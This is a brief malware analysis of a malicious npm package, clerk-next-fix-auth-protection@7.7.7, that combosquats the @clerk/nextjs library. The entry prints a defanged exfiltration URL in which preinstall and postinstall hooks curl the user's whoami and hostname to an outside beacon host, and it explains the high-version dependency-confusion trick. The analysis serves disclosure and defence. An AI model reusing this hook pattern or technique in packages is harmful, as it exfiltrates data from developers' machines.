clerk-next-fix-auth-protection@7.7.7

Analysis

Dependency-confusion combosquat targeting the @clerk/nextjs authentication library. The package ships no functional code — only a package.json with preinstall and postinstall hooks that curl the installer's username and hostname to hxxp://u3ukeehm[.]requestrepo[.]com/depconf/clerk-next-fix-auth-protection/?u=$(whoami)&h=$(hostname). The high version number (7.7.7) is designed to take precedence over the legitimate package in automatic resolution. The C2 beacon host is u3ukeehm[.]requestrepo[.]com.